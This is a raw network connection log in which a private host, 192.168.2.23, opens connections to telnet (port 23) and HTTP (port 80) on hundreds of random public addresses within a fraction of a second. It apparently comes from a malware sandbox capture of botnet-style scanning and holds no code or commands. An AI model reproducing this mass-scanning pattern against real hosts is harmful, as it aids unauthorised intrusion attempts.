Dec 27, 2024 05:02:52.627569914 CET	14219	23	192.168.2.23	117.229.221.141
Dec 27, 2024 05:02:52.627569914 CET	14219	23	192.168.2.23	196.180.188.228
Dec 27, 2024 05:02:52.627577066 CET	14219	23	192.168.2.23	32.204.136.103
Dec 27, 2024 05:02:52.627574921 CET	14219	23	192.168.2.23	48.95.217.174
Dec 27, 2024 05:02:52.627582073 CET	14219	23	192.168.2.23	143.44.154.108
Dec 27, 2024 05:02:52.627587080 CET	14219	23	192.168.2.23	64.212.0.115
Dec 27, 2024 05:02:52.627588034 CET	14219	23	192.168.2.23	131.248.8.19
Dec 27, 2024 05:02:52.627587080 CET	14219	23	192.168.2.23	14.18.115.179
Dec 27, 2024 05:02:52.627587080 CET	14219	23	192.168.2.23	43.29.252.240
Dec 27, 2024 05:02:52.627603054 CET	14219	23	192.168.2.23	167.197.93.171
Dec 27, 2024 05:02:52.627609015 CET	14219	23	192.168.2.23	177.202.151.62
Dec 27, 2024 05:02:52.627609015 CET	14219	23	192.168.2.23	36.181.228.196
Dec 27, 2024 05:02:52.627612114 CET	14219	23	192.168.2.23	216.87.118.106
Dec 27, 2024 05:02:52.627614021 CET	14219	23	192.168.2.23	168.232.227.254
Dec 27, 2024 05:02:52.627614021 CET	14219	23	192.168.2.23	51.127.240.135
Dec 27, 2024 05:02:52.627619028 CET	14219	23	192.168.2.23	160.14.208.113
Dec 27, 2024 05:02:52.627620935 CET	14219	23	192.168.2.23	107.40.123.131
Dec 27, 2024 05:02:52.627620935 CET	14219	23	192.168.2.23	143.206.243.131
Dec 27, 2024 05:02:52.627634048 CET	14219	23	192.168.2.23	176.176.205.24
Dec 27, 2024 05:02:52.627636909 CET	14219	23	192.168.2.23	128.59.74.72
Dec 27, 2024 05:02:52.627638102 CET	14219	23	192.168.2.23	196.178.141.94
Dec 27, 2024 05:02:52.627636909 CET	14219	23	192.168.2.23	85.102.10.58
Dec 27, 2024 05:02:52.627640963 CET	14219	23	192.168.2.23	223.82.190.5
Dec 27, 2024 05:02:52.655934095 CET	14220	80	192.168.2.23	66.122.172.202
Dec 27, 2024 05:02:52.655942917 CET	14220	80	192.168.2.23	69.21.163.86
Dec 27, 2024 05:02:52.655944109 CET	14220	80	192.168.2.23	184.144.134.0
Dec 27, 2024 05:02:52.655956984 CET	14220	80	192.168.2.23	87.90.126.42
Dec 27, 2024 05:02:52.655957937 CET	14220	80	192.168.2.23	80.173.238.15
Dec 27, 2024 05:02:52.655957937 CET	14220	80	192.168.2.23	151.90.226.129
Dec 27, 2024 05:02:52.655961990 CET	14220	80	192.168.2.23	191.33.86.68
Dec 27, 2024 05:02:52.655966043 CET	14220	80	192.168.2.23	111.85.22.0
Dec 27, 2024 05:02:52.655971050 CET	14220	80	192.168.2.23	14.175.131.248
Dec 27, 2024 05:02:52.655977011 CET	14220	80	192.168.2.23	73.229.114.129
Dec 27, 2024 05:02:52.655980110 CET	14220	80	192.168.2.23	89.148.187.149
Dec 27, 2024 05:02:52.655987978 CET	14220	80	192.168.2.23	9.156.89.173
Dec 27, 2024 05:02:52.655997992 CET	14220	80	192.168.2.23	117.127.138.152
Dec 27, 2024 05:02:52.655999899 CET	14220	80	192.168.2.23	70.185.137.83
Dec 27, 2024 05:02:52.655999899 CET	14220	80	192.168.2.23	91.56.123.176
Dec 27, 2024 05:02:52.656024933 CET	14220	80	192.168.2.23	189.83.149.106
Dec 27, 2024 05:02:52.656024933 CET	14220	80	192.168.2.23	123.188.25.21
Dec 27, 2024 05:02:52.656029940 CET	14220	80	192.168.2.23	87.7.89.171
Dec 27, 2024 05:02:52.656029940 CET	14220	80	192.168.2.23	122.164.28.84
Dec 27, 2024 05:02:52.656029940 CET	14220	80	192.168.2.23	168.27.44.74
Dec 27, 2024 05:02:52.656034946 CET	14220	80	192.168.2.23	122.112.254.36
Dec 27, 2024 05:02:52.656052113 CET	14220	80	192.168.2.23	80.10.80.164
Dec 27, 2024 05:02:52.656052113 CET	14220	80	192.168.2.23	221.216.217.193
Dec 27, 2024 05:02:52.656052113 CET	14220	80	192.168.2.23	117.4.70.99
Dec 27, 2024 05:02:52.656052113 CET	14220	80	192.168.2.23	95.232.123.165
Dec 27, 2024 05:02:52.656056881 CET	14220	80	192.168.2.23	49.0.111.64
Dec 27, 2024 05:02:52.656056881 CET	14220	80	192.168.2.23	88.176.145.17
Dec 27, 2024 05:02:52.656056881 CET	14220	80	192.168.2.23	222.134.181.213
Dec 27, 2024 05:02:52.656060934 CET	14220	80	192.168.2.23	209.252.212.174
Dec 27, 2024 05:02:52.656061888 CET	14220	80	192.168.2.23	163.185.217.244
Dec 27, 2024 05:02:52.656061888 CET	14220	80	192.168.2.23	126.6.153.250
Dec 27, 2024 05:02:52.656069994 CET	14220	80	192.168.2.23	76.216.48.126
Dec 27, 2024 05:02:52.656079054 CET	14220	80	192.168.2.23	175.194.218.29
Dec 27, 2024 05:02:52.656079054 CET	14220	80	192.168.2.23	64.51.27.181
Dec 27, 2024 05:02:52.656080961 CET	14220	80	192.168.2.23	89.193.57.93
Dec 27, 2024 05:02:52.656089067 CET	14220	80	192.168.2.23	81.202.23.140
Dec 27, 2024 05:02:52.656090021 CET	14220	80	192.168.2.23	89.66.59.51
Dec 27, 2024 05:02:52.656092882 CET	14220	80	192.168.2.23	201.12.179.154
Dec 27, 2024 05:02:52.656092882 CET	14220	80	192.168.2.23	197.149.229.102
Dec 27, 2024 05:02:52.656092882 CET	14220	80	192.168.2.23	91.18.78.155
Dec 27, 2024 05:02:52.656092882 CET	14220	80	192.168.2.23	2.136.103.17
Dec 27, 2024 05:02:52.656095028 CET	14220	80	192.168.2.23	192.115.182.236
Dec 27, 2024 05:02:52.656100988 CET	14220	80	192.168.2.23	161.44.54.191
Dec 27, 2024 05:02:52.656109095 CET	14220	80	192.168.2.23	52.45.223.156
Dec 27, 2024 05:02:52.656109095 CET	14220	80	192.168.2.23	143.191.198.70
Dec 27, 2024 05:02:52.656110048 CET	14220	80	192.168.2.23	81.169.183.210
Dec 27, 2024 05:02:52.656112909 CET	14220	80	192.168.2.23	200.79.18.36
Dec 27, 2024 05:02:52.656112909 CET	14220	80	192.168.2.23	76.39.51.61
Dec 27, 2024 05:02:52.656115055 CET	14220	80	192.168.2.23	180.145.200.221
Dec 27, 2024 05:02:52.656119108 CET	14220	80	192.168.2.23	197.126.35.24
Dec 27, 2024 05:02:52.656121969 CET	14220	80	192.168.2.23	110.146.176.214
Dec 27, 2024 05:02:52.656126976 CET	14220	80	192.168.2.23	74.208.51.172
Dec 27, 2024 05:02:52.656138897 CET	14220	80	192.168.2.23	73.77.242.201
Dec 27, 2024 05:02:52.656147003 CET	14220	80	192.168.2.23	181.145.112.137
Dec 27, 2024 05:02:52.656157017 CET	14220	80	192.168.2.23	83.18.26.162
Dec 27, 2024 05:02:52.656172991 CET	14220	80	192.168.2.23	98.214.32.126
Dec 27, 2024 05:02:52.656173944 CET	14220	80	192.168.2.23	221.60.114.236
Dec 27, 2024 05:02:52.656177044 CET	14220	80	192.168.2.23	185.143.138.246
Dec 27, 2024 05:02:52.656177044 CET	14220	80	192.168.2.23	107.53.71.64
Dec 27, 2024 05:02:52.656178951 CET	14220	80	192.168.2.23	85.125.231.206
Dec 27, 2024 05:02:52.656181097 CET	14220	80	192.168.2.23	163.163.128.78
Dec 27, 2024 05:02:52.656182051 CET	14220	80	192.168.2.23	156.232.77.59
Dec 27, 2024 05:02:52.656182051 CET	14220	80	192.168.2.23	152.17.236.193
Dec 27, 2024 05:02:52.656184912 CET	14220	80	192.168.2.23	158.62.3.79
Dec 27, 2024 05:02:52.656193018 CET	14220	80	192.168.2.23	48.235.5.227
Dec 27, 2024 05:02:52.656193018 CET	14220	80	192.168.2.23	58.205.81.68
Dec 27, 2024 05:02:52.656194925 CET	14220	80	192.168.2.23	188.79.177.70
Dec 27, 2024 05:02:52.656194925 CET	14220	80	192.168.2.23	38.149.25.16
Dec 27, 2024 05:02:52.656194925 CET	14220	80	192.168.2.23	63.255.83.139
Dec 27, 2024 05:02:52.656204939 CET	14220	80	192.168.2.23	32.199.185.109
Dec 27, 2024 05:02:52.656207085 CET	14220	80	192.168.2.23	84.144.28.25
Dec 27, 2024 05:02:52.656210899 CET	14220	80	192.168.2.23	95.143.183.55
Dec 27, 2024 05:02:52.656210899 CET	14220	80	192.168.2.23	115.175.151.211
Dec 27, 2024 05:02:52.656210899 CET	14220	80	192.168.2.23	63.32.38.207
Dec 27, 2024 05:02:52.656224012 CET	14220	80	192.168.2.23	202.71.49.215
Dec 27, 2024 05:02:52.656224012 CET	14220	80	192.168.2.23	92.195.189.5
Dec 27, 2024 05:02:52.656224012 CET	14220	80	192.168.2.23	204.213.187.80
Dec 27, 2024 05:02:52.656224966 CET	14220	80	192.168.2.23	130.203.173.197
Dec 27, 2024 05:02:52.656227112 CET	14220	80	192.168.2.23	100.24.254.30
Dec 27, 2024 05:02:52.656227112 CET	14220	80	192.168.2.23	219.53.224.190
Dec 27, 2024 05:02:52.656233072 CET	14220	80	192.168.2.23	41.2.94.78
Dec 27, 2024 05:02:52.656236887 CET	14220	80	192.168.2.23	206.46.248.7
Dec 27, 2024 05:02:52.656236887 CET	14220	80	192.168.2.23	188.23.23.63
Dec 27, 2024 05:02:52.656236887 CET	14220	80	192.168.2.23	187.107.151.97
Dec 27, 2024 05:02:52.656236887 CET	14220	80	192.168.2.23	25.36.204.238
Dec 27, 2024 05:02:52.656246901 CET	14220	80	192.168.2.23	136.140.95.172
Dec 27, 2024 05:02:52.656246901 CET	14220	80	192.168.2.23	195.141.252.54
Dec 27, 2024 05:02:52.656246901 CET	14220	80	192.168.2.23	59.116.49.189
Dec 27, 2024 05:02:52.656249046 CET	14220	80	192.168.2.23	63.193.116.148
Dec 27, 2024 05:02:52.656253099 CET	14220	80	192.168.2.23	40.2.96.147
Dec 27, 2024 05:02:52.656254053 CET	14220	80	192.168.2.23	146.11.192.89
Dec 27, 2024 05:02:52.656256914 CET	14220	80	192.168.2.23	178.0.214.150
Dec 27, 2024 05:02:52.656265020 CET	14220	80	192.168.2.23	50.77.42.113
Dec 27, 2024 05:02:52.656274080 CET	14220	80	192.168.2.23	125.4.57.160
Dec 27, 2024 05:02:52.656274080 CET	14220	80	192.168.2.23	49.227.209.74
Dec 27, 2024 05:02:52.656274080 CET	14220	80	192.168.2.23	221.208.218.198
Dec 27, 2024 05:02:52.656279087 CET	14220	80	192.168.2.23	197.2.139.100
Dec 27, 2024 05:02:52.656279087 CET	14220	80	192.168.2.23	83.45.85.151
Dec 27, 2024 05:02:52.656284094 CET	14220	80	192.168.2.23	143.52.2.77
Dec 27, 2024 05:02:52.656284094 CET	14220	80	192.168.2.23	128.233.193.57
Dec 27, 2024 05:02:52.656284094 CET	14220	80	192.168.2.23	106.88.243.43
Dec 27, 2024 05:02:52.656306982 CET	14220	80	192.168.2.23	84.175.155.90
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	139.72.222.235
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	149.185.89.84
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	52.174.245.207
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	41.120.123.95
Dec 27, 2024 05:02:52.656308889 CET	14220	80	192.168.2.23	68.99.111.242
Dec 27, 2024 05:02:52.656310081 CET	14220	80	192.168.2.23	184.13.124.178
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	76.107.60.119
Dec 27, 2024 05:02:52.656312943 CET	14220	80	192.168.2.23	207.158.176.154
Dec 27, 2024 05:02:52.656308889 CET	14220	80	192.168.2.23	142.37.223.127
Dec 27, 2024 05:02:52.656312943 CET	14220	80	192.168.2.23	148.222.190.57
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	121.155.98.23
Dec 27, 2024 05:02:52.656312943 CET	14220	80	192.168.2.23	5.59.97.30
Dec 27, 2024 05:02:52.656310081 CET	14220	80	192.168.2.23	128.166.111.142
Dec 27, 2024 05:02:52.656308889 CET	14220	80	192.168.2.23	136.105.80.51
Dec 27, 2024 05:02:52.656307936 CET	14220	80	192.168.2.23	77.68.53.226
Dec 27, 2024 05:02:52.656325102 CET	14220	80	192.168.2.23	170.178.210.178
Dec 27, 2024 05:02:52.656325102 CET	14220	80	192.168.2.23	8.176.65.118
Dec 27, 2024 05:02:52.656328917 CET	14220	80	192.168.2.23	203.55.178.67
Dec 27, 2024 05:02:52.656331062 CET	14220	80	192.168.2.23	48.142.135.128
Dec 27, 2024 05:02:52.656331062 CET	14220	80	192.168.2.23	68.100.50.123
Dec 27, 2024 05:02:52.656331062 CET	14220	80	192.168.2.23	108.15.183.212
Dec 27, 2024 05:02:52.656331062 CET	14220	80	192.168.2.23	134.119.222.145
Dec 27, 2024 05:02:52.656335115 CET	14220	80	192.168.2.23	189.144.235.154
Dec 27, 2024 05:02:52.656338930 CET	14220	80	192.168.2.23	149.29.1.206
Dec 27, 2024 05:02:52.656338930 CET	14220	80	192.168.2.23	40.44.34.232
Dec 27, 2024 05:02:52.656338930 CET	14220	80	192.168.2.23	117.34.19.23
Dec 27, 2024 05:02:52.656338930 CET	14220	80	192.168.2.23	66.51.29.216
Dec 27, 2024 05:02:52.656358957 CET	14220	80	192.168.2.23	200.217.3.187
Dec 27, 2024 05:02:52.656358957 CET	14220	80	192.168.2.23	147.15.25.113
Dec 27, 2024 05:02:52.656361103 CET	14220	80	192.168.2.23	82.158.190.184
Dec 27, 2024 05:02:52.656361103 CET	14220	80	192.168.2.23	142.130.231.215
Dec 27, 2024 05:02:52.656361103 CET	14220	80	192.168.2.23	69.212.58.233
Dec 27, 2024 05:02:52.656362057 CET	14220	80	192.168.2.23	113.52.136.147
Dec 27, 2024 05:02:52.656363964 CET	14220	80	192.168.2.23	90.66.152.40
Dec 27, 2024 05:02:52.656361103 CET	14220	80	192.168.2.23	68.194.178.43
Dec 27, 2024 05:02:52.656362057 CET	14220	80	192.168.2.23	83.2.171.133
Dec 27, 2024 05:02:52.656363010 CET	14220	80	192.168.2.23	130.189.177.91
Dec 27, 2024 05:02:52.656362057 CET	14220	80	192.168.2.23	59.239.237.155
Dec 27, 2024 05:02:52.656363010 CET	14220	80	192.168.2.23	193.129.113.151
Dec 27, 2024 05:02:52.656363010 CET	14220	80	192.168.2.23	39.103.21.137
Dec 27, 2024 05:02:52.656363010 CET	14220	80	192.168.2.23	202.202.157.201
Dec 27, 2024 05:02:52.656371117 CET	14220	80	192.168.2.23	5.66.72.66
Dec 27, 2024 05:02:52.656371117 CET	14220	80	192.168.2.23	82.195.250.59
Dec 27, 2024 05:02:52.656371117 CET	14220	80	192.168.2.23	216.136.113.62
Dec 27, 2024 05:02:52.656374931 CET	14220	80	192.168.2.23	85.94.103.237
Dec 27, 2024 05:02:52.656374931 CET	14220	80	192.168.2.23	43.102.171.182
Dec 27, 2024 05:02:52.656379938 CET	14220	80	192.168.2.23	154.100.39.208
Dec 27, 2024 05:02:52.656380892 CET	14220	80	192.168.2.23	112.248.28.135
Dec 27, 2024 05:02:52.656380892 CET	14220	80	192.168.2.23	37.139.23.95
Dec 27, 2024 05:02:52.656383991 CET	14220	80	192.168.2.23	130.115.51.54
Dec 27, 2024 05:02:52.656385899 CET	14220	80	192.168.2.23	4.218.168.147
Dec 27, 2024 05:02:52.656385899 CET	14220	80	192.168.2.23	23.242.159.217
Dec 27, 2024 05:02:52.656385899 CET	14220	80	192.168.2.23	196.178.129.1
Dec 27, 2024 05:02:52.656388044 CET	14220	80	192.168.2.23	96.84.201.40
Dec 27, 2024 05:02:52.656388044 CET	14220	80	192.168.2.23	69.237.17.15
Dec 27, 2024 05:02:52.656394958 CET	14220	80	192.168.2.23	67.245.25.40
Dec 27, 2024 05:02:52.656397104 CET	14220	80	192.168.2.23	59.91.134.95
Dec 27, 2024 05:02:52.656399012 CET	14220	80	192.168.2.23	132.5.105.116
Dec 27, 2024 05:02:52.656399012 CET	14220	80	192.168.2.23	118.214.27.171
Dec 27, 2024 05:02:52.656402111 CET	14220	80	192.168.2.23	77.247.142.84
Dec 27, 2024 05:02:52.656408072 CET	14220	80	192.168.2.23	80.121.138.26
Dec 27, 2024 05:02:52.656408072 CET	14220	80	192.168.2.23	211.221.150.246
Dec 27, 2024 05:02:52.656408072 CET	14220	80	192.168.2.23	218.219.100.175
Dec 27, 2024 05:02:52.656421900 CET	14220	80	192.168.2.23	208.167.50.136
Dec 27, 2024 05:02:52.656421900 CET	14220	80	192.168.2.23	105.222.125.43
Dec 27, 2024 05:02:52.656424046 CET	14220	80	192.168.2.23	182.0.200.82
Dec 27, 2024 05:02:52.656424046 CET	14220	80	192.168.2.23	180.73.126.4
Dec 27, 2024 05:02:52.656424046 CET	14220	80	192.168.2.23	189.34.52.109
Dec 27, 2024 05:02:52.656424999 CET	14220	80	192.168.2.23	144.194.66.103
Dec 27, 2024 05:02:52.656424999 CET	14220	80	192.168.2.23	82.167.97.65
Dec 27, 2024 05:02:52.656425953 CET	14220	80	192.168.2.23	202.8.184.47
Dec 27, 2024 05:02:52.656424999 CET	14220	80	192.168.2.23	112.20.177.234
Dec 27, 2024 05:02:52.656425953 CET	14220	80	192.168.2.23	180.187.59.150
Dec 27, 2024 05:02:52.656428099 CET	14220	80	192.168.2.23	159.149.22.206
Dec 27, 2024 05:02:52.656425953 CET	14220	80	192.168.2.23	107.52.40.83
Dec 27, 2024 05:02:52.656424999 CET	14220	80	192.168.2.23	138.23.137.218
Dec 27, 2024 05:02:52.656431913 CET	14220	80	192.168.2.23	172.61.33.199
Dec 27, 2024 05:02:52.656431913 CET	14220	80	192.168.2.23	76.38.80.213
Dec 27, 2024 05:02:52.656435966 CET	14220	80	192.168.2.23	35.130.26.222
Dec 27, 2024 05:02:52.656435966 CET	14220	80	192.168.2.23	118.155.82.122
Dec 27, 2024 05:02:52.656440973 CET	14220	80	192.168.2.23	67.115.141.114
Dec 27, 2024 05:02:52.656457901 CET	14220	80	192.168.2.23	68.155.197.182
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	126.186.229.121
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	48.18.157.15
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	75.19.42.76
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	35.74.13.147
Dec 27, 2024 05:02:52.656465054 CET	14220	80	192.168.2.23	85.176.175.137
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	17.57.21.220
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	99.140.67.140
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	168.44.207.212
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	76.242.72.128
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	36.11.229.95
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	61.88.59.83
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	114.207.144.217
Dec 27, 2024 05:02:52.656459093 CET	14220	80	192.168.2.23	220.3.225.243
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	156.2.137.157
Dec 27, 2024 05:02:52.656460047 CET	14220	80	192.168.2.23	74.129.86.5
Dec 27, 2024 05:02:52.656476021 CET	14220	80	192.168.2.23	42.168.188.224
Dec 27, 2024 05:02:52.656483889 CET	14220	80	192.168.2.23	51.147.188.248
Dec 27, 2024 05:02:52.656483889 CET	14220	80	192.168.2.23	187.192.196.209
Dec 27, 2024 05:02:52.656486988 CET	14220	80	192.168.2.23	81.159.158.236
Dec 27, 2024 05:02:52.656486988 CET	14220	80	192.168.2.23	132.234.96.9
Dec 27, 2024 05:02:52.656486988 CET	14220	80	192.168.2.23	151.200.185.70
Dec 27, 2024 05:02:52.656486988 CET	14220	80	192.168.2.23	79.54.137.80
Dec 27, 2024 05:02:52.656488895 CET	14220	80	192.168.2.23	149.17.206.57
Dec 27, 2024 05:02:52.656488895 CET	14220	80	192.168.2.23	51.221.52.252
Dec 27, 2024 05:02:52.656490088 CET	14220	80	192.168.2.23	210.242.230.18
Dec 27, 2024 05:02:52.656488895 CET	14220	80	192.168.2.23	96.201.64.189
Dec 27, 2024 05:02:52.656488895 CET	14220	80	192.168.2.23	142.182.125.162
Dec 27, 2024 05:02:52.656501055 CET	14220	80	192.168.2.23	189.65.17.10
Dec 27, 2024 05:02:52.656501055 CET	14220	80	192.168.2.23	25.60.223.112
Dec 27, 2024 05:02:52.656502008 CET	14220	80	192.168.2.23	174.222.174.103
Dec 27, 2024 05:02:52.656501055 CET	14220	80	192.168.2.23	201.209.222.137
Dec 27, 2024 05:02:52.656514883 CET	14220	80	192.168.2.23	77.200.7.77
Dec 27, 2024 05:02:52.656517982 CET	14220	80	192.168.2.23	203.249.53.126
Dec 27, 2024 05:02:52.656517982 CET	14220	80	192.168.2.23	157.214.220.217
Dec 27, 2024 05:02:52.656517982 CET	14220	80	192.168.2.23	8.182.173.247
Dec 27, 2024 05:02:52.656521082 CET	14220	80	192.168.2.23	118.44.125.51
Dec 27, 2024 05:02:52.656523943 CET	14220	80	192.168.2.23	188.52.198.114
Dec 27, 2024 05:02:52.656528950 CET	14220	80	192.168.2.23	179.102.154.241
Dec 27, 2024 05:02:52.656531096 CET	14220	80	192.168.2.23	42.205.31.15
Dec 27, 2024 05:02:52.656532049 CET	14220	80	192.168.2.23	74.96.9.170
Dec 27, 2024 05:02:52.656536102 CET	14220	80	192.168.2.23	81.85.95.164
Dec 27, 2024 05:02:52.656547070 CET	14220	80	192.168.2.23	129.103.152.236
Dec 27, 2024 05:02:52.656548977 CET	14220	80	192.168.2.23	111.252.146.218
Dec 27, 2024 05:02:52.656550884 CET	14220	80	192.168.2.23	156.185.74.145
Dec 27, 2024 05:02:52.656550884 CET	14220	80	192.168.2.23	61.198.86.106
Dec 27, 2024 05:02:52.656563044 CET	14220	80	192.168.2.23	147.42.136.92
Dec 27, 2024 05:02:52.656568050 CET	14220	80	192.168.2.23	20.248.34.225
Dec 27, 2024 05:02:52.656568050 CET	14220	80	192.168.2.23	68.154.87.69
Dec 27, 2024 05:02:52.656572104 CET	14220	80	192.168.2.23	74.149.57.151
Dec 27, 2024 05:02:52.656574965 CET	14220	80	192.168.2.23	9.38.123.83
Dec 27, 2024 05:02:52.656575918 CET	14220	80	192.168.2.23	221.167.6.196
Dec 27, 2024 05:02:52.656580925 CET	14220	80	192.168.2.23	1.134.0.233
Dec 27, 2024 05:02:52.656582117 CET	14220	80	192.168.2.23	114.127.109.240
Dec 27, 2024 05:02:52.656583071 CET	14220	80	192.168.2.23	23.110.245.107
Dec 27, 2024 05:02:52.656589985 CET	14220	80	192.168.2.23	156.71.230.232
Dec 27, 2024 05:02:52.656589985 CET	14220	80	192.168.2.23	132.167.217.107
Dec 27, 2024 05:02:52.656590939 CET	14220	80	192.168.2.23	97.231.24.155
Dec 27, 2024 05:02:52.656594992 CET	14220	80	192.168.2.23	141.151.140.244
Dec 27, 2024 05:02:52.656600952 CET	14220	80	192.168.2.23	65.135.89.133
Dec 27, 2024 05:02:52.656615019 CET	14220	80	192.168.2.23	2.164.124.34
Dec 27, 2024 05:02:52.656620026 CET	14220	80	192.168.2.23	19.84.51.153
Dec 27, 2024 05:02:52.656621933 CET	14220	80	192.168.2.23	132.212.36.180
Dec 27, 2024 05:02:52.656622887 CET	14220	80	192.168.2.23	67.126.36.163
Dec 27, 2024 05:02:52.656622887 CET	14220	80	192.168.2.23	18.131.29.189
Dec 27, 2024 05:02:52.656622887 CET	14220	80	192.168.2.23	188.209.156.188
Dec 27, 2024 05:02:52.656627893 CET	14220	80	192.168.2.23	113.113.30.96
Dec 27, 2024 05:02:52.656632900 CET	14220	80	192.168.2.23	176.171.32.164
Dec 27, 2024 05:02:52.656635046 CET	14220	80	192.168.2.23	169.26.254.145
Dec 27, 2024 05:02:52.656635046 CET	14220	80	192.168.2.23	218.253.115.32
Dec 27, 2024 05:02:52.656642914 CET	14220	80	192.168.2.23	50.24.153.99
Dec 27, 2024 05:02:52.656645060 CET	14220	80	192.168.2.23	34.24.198.18
Dec 27, 2024 05:02:52.656651974 CET	14220	80	192.168.2.23	36.106.77.135
Dec 27, 2024 05:02:52.656666994 CET	14220	80	192.168.2.23	100.128.183.178
Dec 27, 2024 05:02:52.656666994 CET	14220	80	192.168.2.23	222.113.62.174
Dec 27, 2024 05:02:52.656672001 CET	14220	80	192.168.2.23	111.79.79.45
Dec 27, 2024 05:02:52.656672001 CET	14220	80	192.168.2.23	35.174.86.202
Dec 27, 2024 05:02:52.656675100 CET	14220	80	192.168.2.23	192.162.140.84
Dec 27, 2024 05:02:52.656691074 CET	14220	80	192.168.2.23	79.189.148.181
Dec 27, 2024 05:02:52.656692982 CET	14220	80	192.168.2.23	135.210.226.132
Dec 27, 2024 05:02:52.656693935 CET	14220	80	192.168.2.23	78.131.20.162
Dec 27, 2024 05:02:52.656696081 CET	14220	80	192.168.2.23	100.246.89.14
Dec 27, 2024 05:02:52.656697989 CET	14220	80	192.168.2.23	12.156.182.20
Dec 27, 2024 05:02:52.656697989 CET	14220	80	192.168.2.23	126.246.36.95
Dec 27, 2024 05:02:52.656698942 CET	14220	80	192.168.2.23	146.213.245.113
Dec 27, 2024 05:02:52.656698942 CET	14220	80	192.168.2.23	96.180.217.74
Dec 27, 2024 05:02:52.656707048 CET	14220	80	192.168.2.23	75.82.214.165
Dec 27, 2024 05:02:52.656708002 CET	14220	80	192.168.2.23	179.231.118.233
Dec 27, 2024 05:02:52.656717062 CET	14220	80	192.168.2.23	149.101.134.82
Dec 27, 2024 05:02:52.656728983 CET	14220	80	192.168.2.23	160.185.225.178
Dec 27, 2024 05:02:52.656734943 CET	14220	80	192.168.2.23	45.255.12.63
Dec 27, 2024 05:02:52.656734943 CET	14220	80	192.168.2.23	25.21.255.42
Dec 27, 2024 05:02:52.656738997 CET	14220	80	192.168.2.23	69.172.59.86
Dec 27, 2024 05:02:52.656738997 CET	14220	80	192.168.2.23	152.158.55.166
Dec 27, 2024 05:02:52.656738997 CET	14220	80	192.168.2.23	108.4.98.209
Dec 27, 2024 05:02:52.656740904 CET	14220	80	192.168.2.23	46.53.5.133
Dec 27, 2024 05:02:52.656747103 CET	14220	80	192.168.2.23	199.151.48.153
Dec 27, 2024 05:02:52.656764030 CET	14220	80	192.168.2.23	143.101.26.79
Dec 27, 2024 05:02:52.656765938 CET	14220	80	192.168.2.23	179.75.41.36
Dec 27, 2024 05:02:52.656765938 CET	14220	80	192.168.2.23	74.15.204.160
Dec 27, 2024 05:02:52.656770945 CET	14220	80	192.168.2.23	203.111.60.206
Dec 27, 2024 05:02:52.656781912 CET	14220	80	192.168.2.23	151.175.165.117
Dec 27, 2024 05:02:52.656781912 CET	14220	80	192.168.2.23	151.121.79.109
Dec 27, 2024 05:02:52.656784058 CET	14220	80	192.168.2.23	13.138.207.228
Dec 27, 2024 05:02:52.656781912 CET	14220	80	192.168.2.23	118.171.70.190
Dec 27, 2024 05:02:52.656781912 CET	14220	80	192.168.2.23	8.170.108.10
Dec 27, 2024 05:02:52.656790972 CET	14220	80	192.168.2.23	68.125.241.204
Dec 27, 2024 05:02:52.656795025 CET	14220	80	192.168.2.23	36.120.59.230
Dec 27, 2024 05:02:52.656795025 CET	14220	80	192.168.2.23	91.217.169.226
Dec 27, 2024 05:02:52.656795979 CET	14220	80	192.168.2.23	99.85.3.232
Dec 27, 2024 05:02:52.656795979 CET	14220	80	192.168.2.23	193.205.106.13
Dec 27, 2024 05:02:52.656796932 CET	14220	80	192.168.2.23	164.129.1.5
Dec 27, 2024 05:02:52.656795025 CET	14220	80	192.168.2.23	203.221.246.136
Dec 27, 2024 05:02:52.656802893 CET	14220	80	192.168.2.23	94.4.183.207
Dec 27, 2024 05:02:52.656804085 CET	14220	80	192.168.2.23	124.57.121.84
Dec 27, 2024 05:02:52.656805992 CET	14220	80	192.168.2.23	19.89.112.133
Dec 27, 2024 05:02:52.656807899 CET	14220	80	192.168.2.23	25.104.130.82
Dec 27, 2024 05:02:52.656815052 CET	14220	80	192.168.2.23	100.254.65.118
Dec 27, 2024 05:02:52.656816959 CET	14220	80	192.168.2.23	185.112.28.44
Dec 27, 2024 05:02:52.656816959 CET	14220	80	192.168.2.23	122.100.184.143
Dec 27, 2024 05:02:52.656817913 CET	14220	80	192.168.2.23	38.198.251.54
Dec 27, 2024 05:02:52.656825066 CET	14220	80	192.168.2.23	156.17.216.162
Dec 27, 2024 05:02:52.656831980 CET	14220	80	192.168.2.23	124.10.239.254
Dec 27, 2024 05:02:52.656831980 CET	14220	80	192.168.2.23	119.11.35.11
Dec 27, 2024 05:02:52.656832933 CET	14220	80	192.168.2.23	31.192.184.220
Dec 27, 2024 05:02:52.656840086 CET	14220	80	192.168.2.23	170.134.117.220
Dec 27, 2024 05:02:52.656842947 CET	14220	80	192.168.2.23	209.120.73.134
Dec 27, 2024 05:02:52.656842947 CET	14220	80	192.168.2.23	130.197.240.203
Dec 27, 2024 05:02:52.656847000 CET	14220	80	192.168.2.23	61.13.201.210
Dec 27, 2024 05:02:52.656864882 CET	14220	80	192.168.2.23	106.72.119.7
Dec 27, 2024 05:02:52.656871080 CET	14220	80	192.168.2.23	23.13.207.108
Dec 27, 2024 05:02:52.656872988 CET	14220	80	192.168.2.23	25.167.113.63
Dec 27, 2024 05:02:52.656877041 CET	14220	80	192.168.2.23	13.186.201.146
Dec 27, 2024 05:02:52.656877995 CET	14220	80	192.168.2.23	12.165.124.119
